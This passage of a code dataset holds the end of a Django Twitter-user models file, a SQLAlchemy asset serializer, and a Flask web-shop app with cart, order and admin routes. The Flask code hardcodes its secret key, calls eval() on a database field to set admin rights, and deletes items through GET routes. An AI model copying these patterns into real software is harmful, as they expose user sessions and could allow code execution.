a problem.\n success = True\n twitter_who_i_follow_list_found = False\n status += ' NO_TWIITER_WHO_I_FOLLOW_LIST_RETRIEVED_DoesNotExist '\n twitter_who_i_follow_list = []\n except Exception as e:\n success = False\n twitter_who_i_follow_list_found = False\n status += ' FAILED retrieve_twitter_who_i_follow0_list TwitterWhoIFollow '\n\n results = {\n 'success': success,\n 'status': status,\n 'twitter_who_i_follow_list_found': twitter_who_i_follow_list_found,\n 'twitter_who_i_follow_list': twitter_who_i_follow_list,\n }\n return results\n\n def retrieve_twitter_next_cursor_state(self, twitter_id_of_me):\n \"\"\"\n We use this subroutine to get twitter next cursor value from TwitterCursorState table\n :param twitter_id_of_me:\n :return: twitter_next_cursor\n \"\"\"\n try:\n twitter_next_cursor_state = TwitterCursorState.objects.get(\n twitter_id_of_me=twitter_id_of_me,)\n twitter_next_cursor = twitter_next_cursor_state.twitter_next_cursor\n success = True\n status = \"RETRIEVE_TWITTER_NEXT_CURSOR_FOUND_WITH_TWITTER_ID\"\n except TwitterCursorState.DoesNotExist:\n twitter_next_cursor = 0\n twitter_next_cursor_state = TwitterCursorState()\n success = True\n status = \"RETRIEVE_TWITTER_NEXT_CURSOR_NONE_FOUND\"\n\n results = {\n 'success': success,\n 'status': status,\n 'twitter_next_cursor': twitter_next_cursor,\n 'twitter_cursor_state': twitter_next_cursor_state,\n }\n return results\n\n def create_twitter_who_i_follow_entries(self, twitter_id_of_me, twitter_ids_i_follow, organization_found=False):\n \"\"\"\n We use this subroutine to create or update TwitterWhoIFollow table with twitter ids i follow.\n :param organization_found:\n :param twitter_id_of_me:\n :param twitter_ids_i_follow:\n :return:\n \"\"\"\n twitter_who_i_follow = TwitterWhoIFollow()\n try:\n for twitter_id_i_follow in twitter_ids_i_follow:\n # TODO anisha Need to check how to get reference for all twitter_who_i_follow\n twitter_who_i_follow, created = TwitterWhoIFollow.objects.update_or_create(\n twitter_id_of_me=twitter_id_of_me,\n twitter_id_i_follow=twitter_id_i_follow,\n # organization_found=organization_found,\n defaults={\n 'twitter_id_of_me': twitter_id_of_me,\n 'twitter_id_i_follow': twitter_id_i_follow\n # 'organization_found': organization_found\n }\n )\n twitter_who_i_follow_saved = True\n success = True\n status = \"TWITTER_WHO_I_FOLLOW_CREATED\"\n except Exception:\n twitter_who_i_follow_saved = False\n twitter_who_i_follow = TwitterWhoIFollow()\n success = False\n status = \"TWITTER_WHO_I_FOLLOW_NOT_CREATED\"\n results = {\n 'success': success,\n 'status': status,\n 'twitter_who_i_follow_saved': twitter_who_i_follow_saved,\n 'twitter_who_i_follow': twitter_who_i_follow,\n }\n return results\n\n def create_twitter_next_cursor_state(self, twitter_id_of_me, twitter_api_name, twitter_next_cursor):\n \"\"\"\n We use this subroutine to create or update TwitterCursorState table with next cursor value\n :param twitter_id_of_me:\n :param twitter_api_name:\n :param twitter_next_cursor:\n :return:\n \"\"\"\n try:\n twitter_next_cursor_state, created = TwitterCursorState.objects.update_or_create(\n twitter_id_of_me=twitter_id_of_me,\n twitter_api_name__iexact=twitter_api_name,\n defaults={\n 'twitter_id_of_me': twitter_id_of_me,\n 'twitter_api_name': twitter_api_name,\n 'twitter_next_cursor': twitter_next_cursor,\n }\n )\n twitter_next_cursor_state_saved = True\n success = True\n status = \"TWITTER_NEXT_CURSOR_STATE_CREATED\"\n except Exception:\n twitter_next_cursor_state_saved = False\n twitter_next_cursor_state = TwitterCursorState()\n success = False\n status = \"TWITTER_NEXT_CURSOR_STATE_NOT_CREATED\"\n results = {\n 'success': success,\n 'status': status,\n 'twitter_next_cursor_state_saved': twitter_next_cursor_state_saved,\n 'twitter_cursor_state': twitter_next_cursor_state,\n }\n return results\n\n def save_new_twitter_user_from_twitter_json(self, twitter_json, cached_twitter_profile_image_url_https=None,\n cached_twitter_profile_background_image_url_https=None,\n cached_twitter_profile_banner_url_https=None,\n we_vote_hosted_profile_image_url_large=None,\n we_vote_hosted_profile_image_url_medium=None,\n we_vote_hosted_profile_image_url_tiny=None):\n\n if 'screen_name' not in twitter_json:\n results = {\n 'success': False,\n 'status': \"SAVE_NEW_TWITTER_USER_MISSING_HANDLE\",\n 'twitter_user_found': False,\n 'twitter_user': TwitterUser(),\n }\n return results\n\n try:\n # Create new twitter_user entry\n twitter_description = twitter_json['description'] if 'description' in twitter_json else \"\"\n twitter_followers_count = twitter_json['followers_count'] if 'followers_count' in twitter_json else 0\n twitter_handle = twitter_json['screen_name'] if 'screen_name' in twitter_json else \"\"\n\n # Strip out the twitter handles \"False\" or \"None\"\n if twitter_handle:\n twitter_handle_lower = twitter_handle.lower()\n if twitter_handle_lower == 'false' or twitter_handle_lower == 'none':\n twitter_handle = ''\n\n twitter_id = twitter_json['id'] if 'id' in twitter_json else None\n twitter_location = twitter_json['location'] if 'location' in twitter_json else \"\"\n twitter_name = twitter_json['name'] if 'name' in twitter_json else \"\"\n\n if positive_value_exists(cached_twitter_profile_background_image_url_https):\n twitter_profile_background_image_url_https = cached_twitter_profile_background_image_url_https\n elif 'profile_background_image_url_https' in twitter_json:\n twitter_profile_background_image_url_https = twitter_json['profile_background_image_url_https']\n else:\n twitter_profile_background_image_url_https = \"\"\n\n if positive_value_exists(cached_twitter_profile_banner_url_https):\n twitter_profile_banner_url_https = cached_twitter_profile_banner_url_https\n elif 'profile_banner_url' in twitter_json:\n twitter_profile_banner_url_https = twitter_json['profile_banner_url']\n else:\n twitter_profile_banner_url_https = \"\"\n\n if positive_value_exists(cached_twitter_profile_image_url_https):\n twitter_profile_image_url_https = cached_twitter_profile_image_url_https\n elif 'profile_image_url_https' in twitter_json:\n twitter_profile_image_url_https = twitter_json['profile_image_url_https']\n else:\n twitter_profile_image_url_https = \"\"\n twitter_url = twitter_json['url'] if 'url' in twitter_json else \"\"\n\n twitter_user_on_stage = TwitterUser(\n twitter_description=twitter_description,\n twitter_followers_count=twitter_followers_count,\n twitter_handle=twitter_handle,\n twitter_id=twitter_id,\n twitter_location=twitter_location,\n twitter_name=twitter_name,\n twitter_profile_background_image_url_https=twitter_profile_background_image_url_https,\n twitter_profile_banner_url_https=twitter_profile_banner_url_https,\n twitter_profile_image_url_https=twitter_profile_image_url_https,\n we_vote_hosted_profile_image_url_large=we_vote_hosted_profile_image_url_large,\n we_vote_hosted_profile_image_url_medium=we_vote_hosted_profile_image_url_medium,\n we_vote_hosted_profile_image_url_tiny=we_vote_hosted_profile_image_url_tiny,\n twitter_url=twitter_url,\n )\n twitter_user_on_stage.save()\n success = True\n twitter_user_found = True\n status = 'CREATED_TWITTER_USER'\n except Exception as e:\n success = False\n twitter_user_found = False\n status = 'FAILED_TO_CREATE_NEW_TWITTER_USER'\n twitter_user_on_stage = TwitterUser()\n\n results = {\n 'success': success,\n 'status': status,\n 'twitter_user_found': twitter_user_found,\n 'twitter_user': twitter_user_on_stage,\n }\n return results\n\n def update_or_create_twitter_user(self, twitter_json, twitter_id=None, cached_twitter_profile_image_url_https=None,\n cached_twitter_profile_background_image_url_https=None,\n cached_twitter_profile_banner_url_https=None,\n we_vote_hosted_profile_image_url_large=None,\n we_vote_hosted_profile_image_url_medium=None,\n we_vote_hosted_profile_image_url_tiny=None):\n \"\"\"\n Update a twitter user entry with details retrieved from the Twitter API or\n create a twitter user entry if not exists.\n :param twitter_id:\n :param twitter_json:\n :param cached_twitter_profile_image_url_https:\n :param cached_twitter_profile_background_image_url_https:\n :param cached_twitter_profile_banner_url_https:\n :param we_vote_hosted_profile_image_url_large:\n :param we_vote_hosted_profile_image_url_medium:\n :param we_vote_hosted_profile_image_url_tiny\n :return:\n \"\"\"\n values_changed = False\n\n twitter_results = self.retrieve_twitter_user(twitter_id)\n twitter_user_found = twitter_results['twitter_user_found']\n if twitter_user_found:\n # Twitter user already exists so update twitter user details\n twitter_user = twitter_results['twitter_user']\n if 'id' in twitter_json and positive_value_exists(twitter_json['id']):\n if convert_to_int(twitter_json['id']) != twitter_user.twitter_id:\n twitter_user.twitter_id = convert_to_int(twitter_json['id'])\n values_changed = True\n if 'screen_name' in twitter_json and positive_value_exists(twitter_json['screen_name']):\n if twitter_json['screen_name'] != twitter_user.twitter_handle:\n twitter_user.twitter_handle = twitter_json['screen_name']\n values_changed = True\n if 'name' in twitter_json and positive_value_exists(twitter_json['name']):\n if twitter_json['name'] != twitter_user.twitter_name:\n twitter_user.twitter_name = twitter_json['name']\n values_changed = True\n if 'url' in twitter_json and positive_value_exists(twitter_json['url']):\n if twitter_json['url'] != twitter_user.twitter_url:\n twitter_user.twitter_url = twitter_json['url']\n values_changed = True\n if 'followers_count' in twitter_json and positive_value_exists(twitter_json['followers_count']):\n if convert_to_int(twitter_json['followers_count']) != twitter_user.twitter_followers_count:\n twitter_user.twitter_followers_count = convert_to_int(twitter_json['followers_count'])\n values_changed = True\n\n if positive_value_exists(cached_twitter_profile_image_url_https):\n twitter_user.twitter_profile_image_url_https = cached_twitter_profile_image_url_https\n values_changed = True\n elif 'profile_image_url_https' in twitter_json and \\\n positive_value_exists(twitter_json['profile_image_url_https']):\n if twitter_json['profile_image_url_https'] != twitter_user.twitter_profile_image_url_https:\n twitter_user.twitter_profile_image_url_https = twitter_json['profile_image_url_https']\n values_changed = True\n\n if positive_value_exists(cached_twitter_profile_banner_url_https):\n twitter_user.twitter_profile_banner_url_https = cached_twitter_profile_banner_url_https\n values_changed = True\n elif ('profile_banner_url' in twitter_json) and positive_value_exists(twitter_json['profile_banner_url']):\n if twitter_json['profile_banner_url'] != twitter_user.twitter_profile_banner_url_https:\n twitter_user.twitter_profile_banner_url_https = twitter_json['profile_banner_url']\n values_changed = True\n\n if positive_value_exists(cached_twitter_profile_background_image_url_https):\n twitter_user.twitter_profile_background_image_url_https = \\\n cached_twitter_profile_background_image_url_https\n values_changed = True\n elif 'profile_background_image_url_https' in twitter_json and positive_value_exists(\n twitter_json['profile_background_image_url_https']):\n if twitter_json['profile_background_image_url_https'] != \\\n twitter_user.twitter_profile_background_image_url_https:\n twitter_user.twitter_profile_background_image_url_https = \\\n twitter_json['profile_background_image_url_https']\n values_changed = True\n if positive_value_exists(we_vote_hosted_profile_image_url_large):\n twitter_user.we_vote_hosted_profile_image_url_large = we_vote_hosted_profile_image_url_large\n values_changed = True\n if positive_value_exists(we_vote_hosted_profile_image_url_medium):\n twitter_user.we_vote_hosted_profile_image_url_medium = we_vote_hosted_profile_image_url_medium\n values_changed = True\n if positive_value_exists(we_vote_hosted_profile_image_url_tiny):\n twitter_user.we_vote_hosted_profile_image_url_tiny = we_vote_hosted_profile_image_url_tiny\n values_changed = True\n\n if 'description' in twitter_json and positive_value_exists(twitter_json['description']):\n if twitter_json['description'] != twitter_user.twitter_description:\n twitter_user.twitter_description = twitter_json['description']\n values_changed = True\n if 'location' in twitter_json and positive_value_exists(twitter_json['location']):\n if twitter_json['location'] != twitter_user.twitter_location:\n twitter_user.twitter_location = twitter_json['location']\n values_changed = True\n\n if values_changed:\n twitter_user.save()\n success = True\n status = \"SAVED_TWITTER_USER_DETAILS\"\n else:\n success = True\n status = \"NO_CHANGES_SAVED_TO_USER_TWITTER_DETAILS\"\n results = {\n 'success': success,\n 'status': status,\n 'twitter_user_found': twitter_user_found,\n 'twitter_user': twitter_user,\n }\n return results\n\n else:\n # Twitter user does not exist so create new twitter user with latest twitter details\n twitter_save_results = self.save_new_twitter_user_from_twitter_json(\n twitter_json, cached_twitter_profile_image_url_https,\n cached_twitter_profile_background_image_url_https, cached_twitter_profile_banner_url_https,\n we_vote_hosted_profile_image_url_large, we_vote_hosted_profile_image_url_medium,\n we_vote_hosted_profile_image_url_tiny)\n return twitter_save_results\n\n def delete_twitter_user(self, twitter_id):\n twitter_id = convert_to_int(twitter_id)\n twitter_user_deleted = False\n\n try:\n if twitter_id:\n results = self.retrieve_twitter_user(twitter_id)\n if results['twitter_user_found']:\n twitter_user = results['twitter_user']\n twitter_id = twitter_user.id\n twitter_user.delete()\n twitter_user_deleted = True\n except Exception as e:\n pass\n\n results = {\n 'success': twitter_user_deleted,\n 'twitter_user_deleted': twitter_user_deleted,\n 'twitter_id': twitter_id,\n }\n return results\n\n\nclass Tweet(models.Model):\n \"\"\"\n A tweet referenced somewhere by a We Vote tag. We store it (once - not every time it is referenced by a tag)\n locally so we can publish JSON from for consumption on the We Vote newsfeed.\n \"\"\"\n # twitter_tweet_id # (unique id from twitter for tweet?)\n author_handle = models.CharField(max_length=15, verbose_name='twitter handle of this tweet\\'s author')\n # (stored quickly before we look up voter_id)\n # author_voter_id = models.ForeignKey(Voter, null=True, blank=True, related_name='we vote id of tweet author')\n is_retweet = models.BooleanField(default=False, verbose_name='is this a retweet?')\n # parent_tweet_id # If this is a retweet, what is the id of the originating tweet?\n body = models.CharField(blank=True, null=True, max_length=255, verbose_name='')\n date_published = models.DateTimeField(null=True, verbose_name='date published')\n\n\nclass TweetFavorite(models.Model):\n \"\"\"\n This table tells us who favorited a tweet\n \"\"\"\n tweet_id = models.ForeignKey(Tweet, null=True, blank=True, verbose_name='we vote tweet id')\n # twitter_tweet_id # (unique id from twitter for tweet?)\n # TODO Should favorited_by_handle be a ForeignKey link to the Twitter User? I'm concerned this will slow saving,\n # and it might be better to ForeignKey against voter_id\n favorited_by_handle = models.CharField(\n max_length=15, verbose_name='twitter handle of person who favorited this tweet')\n # (stored quickly before we look up voter_id)\n # favorited_by_voter_id = models.ForeignKey(\n # Voter, null=True, blank=True, related_name='tweet favorited by voter_id')\n date_favorited = models.DateTimeField(null=True, verbose_name='date favorited')\n\n\n# This should be the master table\nclass TwitterWhoIFollow(models.Model):\n \"\"\"\n Other Twitter ids that I follow, from the perspective of twitter id of me\n \"\"\"\n twitter_id_of_me = models.BigIntegerField(verbose_name=\"twitter id of viewer\", null=False, unique=False)\n twitter_id_i_follow = models.BigIntegerField(verbose_name=\"twitter id of the friend\", null=False, unique=False)\n # organization_found = models.BooleanField(verbose_name=\"organization found in twitterLinkToOrganization\",\n # default=False)\n\n\nclass TwitterCursorState(models.Model):\n \"\"\"\n Maintaining next cursor state of twitter ids that i follow\n \"\"\"\n twitter_id_of_me = models.BigIntegerField(verbose_name=\"twitter id of viewer\", null=False, unique=False)\n twitter_api_name = models.CharField(verbose_name=\"twitter api name\", max_length=255, null=False, unique=False)\n twitter_next_cursor = models.BigIntegerField(verbose_name=\"twitter next cursor state\", null=False, unique=False)\n\n\n# This is a we vote copy (for speed) of Twitter handles that follow me. We should have self-healing scripts that set up\n# entries in TwitterWhoIFollow for everyone following someone in the We Vote network, so this table could be flushed\n# and rebuilt at any time\nclass TwitterWhoFollowMe(models.Model):\n handle_of_me = models.CharField(max_length=15, verbose_name='from this twitter handle\\'s perspective...')\n handle_that_follows_me = models.CharField(max_length=15, verbose_name='twitter handle of this tweet\\'s author')\n","sub_path":"twitter/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":47521,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"278287348","text":"from sqlalchemy.sql import func\n\nfrom .models import Asset, AssetClass\nfrom .db import get_db_session\n\n\nclass AssetSerializer:\n def __init__(self, asset=None, assets=None):\n self.assets = assets\n self.asset = asset\n\n def serialize(self):\n if self.assets:\n return self.serialize_assets(self.assets)\n elif self.asset:\n return self.split_asset(self.asset)\n return {}\n\n def serialize_assets(self, assets):\n data = []\n for asset in assets:\n asset_details = self.split_asset(asset)\n data.append(asset_details)\n return data\n\n def split_asset(self, asset):\n name = asset.name\n asset_class = asset.asset_class_details.class_name.value\n asset_type = asset.asset_class_details.class_type.value\n created_at = str(asset.created_at)\n return {\n \"name\": name,\n \"asset_class\": asset_class,\n \"asset_type\": asset_type,\n \"created_at\": created_at,\n }\n\n def deserialize(self, data):\n session = get_db_session()\n try:\n name = data[\"name\"]\n asset_class_name = data[\"asset_class\"]\n asset_type = data[\"asset_type\"]\n asset_class = (\n session.query(AssetClass).filter_by(class_name=asset_class_name).one()\n )\n asset = Asset(name=name, asset_class=asset_class.id, created_at=func.now())\n asset.verify_type(asset_class, asset_type)\n return asset\n finally:\n session.close()\n","sub_path":"asset_store/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":1579,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"491218786","text":"from werkzeug.utils import secure_filename\r\nfrom flask import *\r\nfrom forms import *\r\nfrom db import *\r\nimport json\r\nimport os\r\n\r\napp = Flask(__name__)\r\napp.config['SECRET_KEY'] = 'yandexlyceum_secret_key'\r\napp.config['UPLOAD_FOLDER'] = 'static/img/'\r\napp.config['MAX_CONTENT_LENGTH'] = 16 * 1024 * 1024\r\n\r\n\r\ndef cart_len():\r\n if \"username\" in session:\r\n with open('data/shopping_cart.json', \"rt\", encoding=\"utf8\") as f:\r\n carts = json.loads(f.read())\r\n return len(carts[str(session['user_id'])].keys())\r\n else:\r\n return None\r\n\r\n\r\ndef search(phrase):\r\n phrase = phrase.lower()\r\n gm = GoodsModel(goods_db.get_connection())\r\n gm.init_table()\r\n all = gm.get_all()\r\n c = filter(lambda x: phrase in x[2].lower() or phrase in x[3].lower(), all)\r\n return list(c)\r\n\r\n\r\n@app.route('/search/', methods=['GET', 'POST'])\r\ndef searched(phrase):\r\n if request.method == 'POST':\r\n if request.form.get('search'):\r\n phrase = request.form['search']\r\n return redirect('/search/{}'.format(phrase))\r\n with open('data/image_sources.json', \"rt\", encoding=\"utf8\") as f:\r\n srcs = json.loads(f.read())\r\n return render_template('items.html', goods=search(phrase), title=phrase,\r\n name='поиск', srcs=srcs, cart_items=cart_len())\r\n\r\n\r\n@app.route('/', methods=['GET', 'POST'])\r\n@app.route('/index', methods=['GET', 'POST'])\r\ndef main_page():\r\n if request.method == 'POST':\r\n if request.form.get('search'):\r\n phrase = request.form['search']\r\n return redirect('/search/{}'.format(phrase))\r\n with open('data/categories.json', \"rt\", encoding=\"utf8\") as f:\r\n categories = json.loads(f.read())\r\n return render_template('index.html', title='Главная',\r\n categories=categories, cart_items=cart_len())\r\n\r\n\r\n@app.route('/login', methods=['GET', 'POST'])\r\ndef login():\r\n form = LoginForm()\r\n if form.validate_on_submit():\r\n user_name = form.username.data\r\n password = form.password.data\r\n user_model = UsersModel(db.get_connection())\r\n exists = user_model.exists(user_name, password)\r\n if (exists[0]):\r\n session['username'] = user_name\r\n session['user_id'] = exists[1]\r\n session['is_admin'] = eval(exists[2])\r\n with open('data/shopping_cart.json', \"rt\", encoding=\"utf8\") as f:\r\n all_carts = json.loads(f.read())\r\n with open('data/shopping_cart.json', \"w\", encoding=\"utf8\") as f:\r\n if str(session['user_id']) not in all_carts:\r\n all_carts[session['user_id']] = dict()\r\n f.write(json.dumps(all_carts))\r\n return redirect(\"/index\")\r\n else:\r\n return render_template('login.html', title='Авторизация',\r\n form=form,\r\n message='Неверный логин или пароль')\r\n return render_template('login.html', title='Авторизация', form=form)\r\n\r\n\r\n@app.route('/registration', methods=['GET', 'POST'])\r\ndef registration():\r\n form = RegistrationForm()\r\n message = 'Длина пароля должна быть не меньше 7 символов'\r\n if form.validate_on_submit():\r\n user_name = form.username.data\r\n password = form.password.data\r\n if len(password) < 7:\r\n return render_template('registration.html', form=form,\r\n message=message)\r\n um.insert(user_name, password)\r\n return redirect('/')\r\n return render_template('registration.html', title='Регистрация', form=form)\r\n\r\n\r\n@app.route('/logout')\r\ndef logout():\r\n session.pop('username', 0)\r\n session.pop('user_id', 0)\r\n session.pop('is_admin', 0)\r\n return redirect('/index')\r\n\r\n\r\n@app.route('/admin_panel', methods=['GET', 'POST'])\r\ndef admin_panel():\r\n if request.method == 'POST':\r\n if request.form.get('search'):\r\n phrase = request.form['search']\r\n return redirect('/search/{}'.format(phrase))\r\n if not session['is_admin']:\r\n return redirect('/')\r\n return render_template('admin_panel.html', title='Админ-панель',\r\n cart_items=cart_len())\r\n\r\n\r\n@app.route('/all_users', methods=['GET', 'POST'])\r\ndef all_users():\r\n if request.method == 'POST':\r\n if request.form.get('search'):\r\n phrase = request.form['search']\r\n return redirect('/search/{}'.format(phrase))\r\n if \"username\" not in session:\r\n return redirect('/login')\r\n if not session['is_admin']:\r\n return redirect('/')\r\n um = UsersModel(db.get_connection())\r\n um.init_table()\r\n all_users = um.get_all()\r\n return render_template('all_users.html', title='Все пользователи',\r\n users=enumerate(all_users, 1),\r\n cart_items=cart_len())\r\n\r\n\r\n@app.route('/add_photo/', methods=['GET', 'POST'])\r\ndef add_photo(id):\r\n if request.method == 'POST':\r\n if request.form.get('search'):\r\n phrase = request.form['search']\r\n return redirect('/search/{}'.format(phrase))\r\n if \"username\" not in session:\r\n return redirect('/login')\r\n if not session['is_admin']:\r\n return redirect('/')\r\n form = AddPhotoForm()\r\n if form.validate_on_submit():\r\n myFile = secure_filename(form.photo_upload.data.filename)\r\n with open('data/image_sources.json', \"rt\", encoding=\"utf8\") as f:\r\n srcs = json.loads(f.read())\r\n with open('data/image_sources.json', \"w\", encoding=\"utf8\") as f:\r\n try:\r\n srcs[id] += ['static/img/{}'.format(myFile)]\r\n except:\r\n srcs[id] = ['static/img/{}'.format(myFile)]\r\n f.write(json.dumps(srcs))\r\n form.photo_upload.data.save('static/img/{}'.format(myFile))\r\n return redirect('/add_photo/{}'.format(id))\r\n return render_template('add_photo.html', form=form,\r\n title='Добавление фото', cart_items=cart_len())\r\n\r\n\r\n@app.route('/add_goods', methods=['GET', 'POST'])\r\ndef add_goods():\r\n if request.method == 'POST':\r\n if request.form.get('search'):\r\n phrase = request.form['search']\r\n return redirect('/search/{}'.format(phrase))\r\n if \"username\" not in session:\r\n return redirect('/login')\r\n if not session['is_admin']:\r\n return redirect('/')\r\n form = AddGoodsForm()\r\n if form.validate_on_submit():\r\n gm = GoodsModel(goods_db.get_connection())\r\n gm.init_table()\r\n type = form.type.data\r\n name = form.name.data\r\n description = form.description.data\r\n try:\r\n price = int(form.price.data)\r\n except:\r\n return('Цена должна быть введена в рублях(целым числом)')\r\n myFile = secure_filename(form.file_upload.data.filename)\r\n gm.insert(type, name, description, price)\r\n latest = max(gm.get_all(), key=lambda x: x[5])\r\n with open('data/image_sources.json', \"rt\", encoding=\"utf8\") as f:\r\n srcs = json.loads(f.read())\r\n with open('data/image_sources.json', \"w\", encoding=\"utf8\") as f:\r\n try:\r\n srcs[latest[0]] += ['static/img/{}'.format(myFile)]\r\n except:\r\n srcs[latest[0]] = ['static/img/{}'.format(myFile)]\r\n f.write(json.dumps(srcs))\r\n form.file_upload.data.save('static/img/{}'.format(myFile))\r\n return redirect('/')\r\n return render_template('add_goods.html', title='Добавление товара',\r\n form=form, cart_items=cart_len())\r\n\r\n\r\n@app.route('/items/', methods=['GET', 'POST'])\r\ndef items(type):\r\n if request.method == 'POST':\r\n if request.form.get('search'):\r\n phrase = request.form['search']\r\n return redirect('/search/{}'.format(phrase))\r\n with open('data/categories.json', \"rt\", encoding=\"utf8\") as f:\r\n categories = json.loads(f.read())\r\n for d in categories:\r\n if d['name'] == type:\r\n name = d['title']\r\n with open('data/image_sources.json', \"rt\", encoding=\"utf8\") as f:\r\n srcs = json.loads(f.read())\r\n gm = GoodsModel(goods_db.get_connection())\r\n gm.init_table()\r\n goods = gm.get_by_type(type)\r\n return render_template('items.html', goods=goods, title=name,\r\n name=name.lower(), srcs=srcs, cart_items=cart_len())\r\n\r\n\r\n@app.route('/delete/')\r\ndef delete(id):\r\n if \"username\" not in session:\r\n return redirect('/login')\r\n if not session['is_admin']:\r\n return redirect('/')\r\n with open('data/image_sources.json', \"rt\", encoding=\"utf8\") as f:\r\n srcs = json.loads(f.read())\r\n for img_path in srcs[id]:\r\n if os.path.isfile(img_path):\r\n os.remove(img_path)\r\n else:\r\n print('delete_error')\r\n srcs.pop(id, 0)\r\n with open('data/image_sources.json', \"w\", encoding=\"utf8\") as f:\r\n f.write(json.dumps(srcs))\r\n gm = GoodsModel(goods_db.get_connection())\r\n gm.init_table()\r\n gm.delete(int(id))\r\n return redirect('/')\r\n\r\n\r\n@app.route('/item/', methods=['GET', 'POST'])\r\ndef item_page(id):\r\n if request.method == 'POST':\r\n if request.form.get('search'):\r\n phrase = request.form['search']\r\n return redirect('/search/{}'.format(phrase))\r\n gm = GoodsModel(goods_db.get_connection())\r\n gm.init_table()\r\n goods = gm.get(id)\r\n with open('data/image_sources.json', \"rt\", encoding=\"utf8\") as f:\r\n srcs = json.loads(f.read())\r\n srcs = srcs[id]\r\n if len(srcs) < 2:\r\n one_src = srcs[0]\r\n srcs = srcs[1:]\r\n else:\r\n one_src = srcs[1]\r\n srcs = srcs[2:]\r\n return render_template('item.html', title=goods[2], item=goods, srcs=srcs,\r\n length=len(srcs),\r\n one_src=one_src,\r\n cart_items=cart_len())\r\n\r\n\r\n@app.route('/add_to_cart//')\r\ndef cart_adding(user_id, goods_id):\r\n if \"username\" not in session:\r\n return redirect('/login')\r\n if session['user_id'] != user_id:\r\n return redirect('/')\r\n with open('data/shopping_cart.json', \"rt\", encoding=\"utf8\") as f:\r\n all_carts = json.loads(f.read())\r\n with open('data/shopping_cart.json', \"w\", encoding=\"utf8\") as f:\r\n try:\r\n if str(goods_id) not in all_carts[str(user_id)]:\r\n all_carts[str(user_id)][str(goods_id)] = 1\r\n else:\r\n all_carts[str(user_id)][str(goods_id)] += 1\r\n except:\r\n all_carts[str(user_id)] = {str(goods_id): 1}\r\n f.write(json.dumps(all_carts))\r\n return redirect('/item/{}'.format(str(goods_id)))\r\n\r\n\r\n@app.route('/cart/', methods=['GET', 'POST'])\r\ndef user_cart(id):\r\n if request.method == 'POST':\r\n if request.form.get('search'):\r\n phrase = request.form['search']\r\n return redirect('/search/{}'.format(phrase))\r\n if \"username\" not in session:\r\n return redirect('/login')\r\n if session['user_id'] != id:\r\n return redirect('/')\r\n with open('data/shopping_cart.json', \"rt\", encoding=\"utf8\") as f:\r\n all_carts = json.loads(f.read())\r\n cart = all_carts[str(id)]\r\n if request.method == 'POST':\r\n if 'search' not in request.form:\r\n for good_id in cart.keys():\r\n all_carts[str(id)][str(good_id)] = int(request.form['count_{}'.format(good_id)])\r\n with open('data/shopping_cart.json', \"w\", encoding=\"utf8\") as f:\r\n f.write(json.dumps(all_carts))\r\n return redirect('/cart/{}'.format(str(id)))\r\n all_goods = []\r\n gm = GoodsModel(goods_db.get_connection())\r\n gm.init_table()\r\n for good_id in cart.keys():\r\n all_goods.append((gm.get(good_id), cart[good_id]))\r\n sum = 0\r\n for good in all_goods:\r\n sum += good[0][4] * good[1]\r\n return render_template('cart.html', goods=all_goods, title='Корзина',\r\n sum=sum, cart_items=cart_len())\r\n\r\n\r\n@app.route('/delete_from_cart/')\r\ndef delete_from_cart(good_id):\r\n if \"username\" not in session:\r\n return redirect('/login')\r\n with open('data/shopping_cart.json', \"rt\", encoding=\"utf8\") as f:\r\n all_carts = json.loads(f.read())\r\n with open('data/shopping_cart.json', \"w\", encoding=\"utf8\") as f:\r\n all_carts[str(session['user_id'])].pop(str(good_id), 0)\r\n f.write(json.dumps(all_carts))\r\n return redirect('cart/{}'.format(session['user_id']))\r\n\r\n\r\n@app.route('/make_order')\r\ndef make_order():\r\n om = OrdersModel(orders_db.get_connection())\r\n om.init_table()\r\n if \"username\" not in session:\r\n return redirect('/login')\r\n with open('data/shopping_cart.json', \"rt\", encoding=\"utf8\") as f:\r\n all_carts = json.loads(f.read())\r\n cart = all_carts[str(session['user_id'])]\r\n for good_id in cart.keys():\r\n if cart[good_id] < 1:\r\n a = 1\r\n else:\r\n gm = GoodsModel(goods_db.get_connection())\r\n gm.init_table()\r\n good = gm.get(good_id)\r\n om.insert(good_id, session['user_id'], good[4], cart[good_id])\r\n all_carts[str(session['user_id'])] = {}\r\n with open('data/shopping_cart.json', \"w\", encoding=\"utf8\") as f:\r\n f.write(json.dumps(all_carts))\r\n return redirect('/cart/{}'.format(str(session['user_id'])))\r\n\r\n\r\n@app.route('/my_orders', methods=['GET', 'POST'])\r\ndef orders():\r\n if request.method == 'POST':\r\n if request.form.get('search'):\r\n phrase = request.form['search']\r\n return redirect('/search/{}'.format(phrase))\r\n if \"username\" not in session:\r\n return redirect('/login')\r\n om = OrdersModel(orders_db.get_connection())\r\n om.init_table()\r\n gm = GoodsModel(goods_db.get_connection())\r\n gm.init_table()\r\n names = []\r\n orders = sorted(om.get_by_user(session['user_id']), key=lambda x: x[7],\r\n reverse=True)\r\n for order in orders:\r\n names.append(gm.get(order[1]))\r\n return render_template('orders.html', title='Заказы',\r\n orders=zip(orders, names), cart_items=cart_len())\r\n\r\n\r\n@app.route('/order_control', methods=['GET', 'POST'])\r\ndef order_control():\r\n if request.method == 'POST':\r\n if request.form.get('search'):\r\n phrase = request.form['search']\r\n return redirect('/search/{}'.format(phrase))\r\n if \"username\" not in session:\r\n return redirect('/login')\r\n if not session['is_admin']:\r\n return redirect('/')\r\n om = OrdersModel(orders_db.get_connection())\r\n om.init_table()\r\n gm = GoodsModel(goods_db.get_connection())\r\n gm.init_table()\r\n names = []\r\n orders = sorted(om.get_all(), key=lambda x: x[7],\r\n reverse=True)\r\n for order in orders:\r\n names.append(gm.get(order[1]))\r\n return render_template('order_control.html', title='Изменить статус',\r\n orders=zip(orders, names), cart_items=cart_len())\r\n\r\n\r\n@app.route('/edit_order/', methods=['GET', 'POST'])\r\ndef edit_order(order_id):\r\n if request.method == 'POST':\r\n if request.form.get('search'):\r\n phrase = request.form['search']\r\n return redirect('/search/{}'.format(phrase))\r\n if \"username\" not in session:\r\n return redirect('/login')\r\n if not session['is_admin']:\r\n return redirect('/')\r\n om = OrdersModel(orders_db.get_connection())\r\n om.init_table()\r\n if request.method == 'POST':\r\n if 'search' not in request.form:\r\n om.change_status(order_id, request.form['new_status'])\r\n return 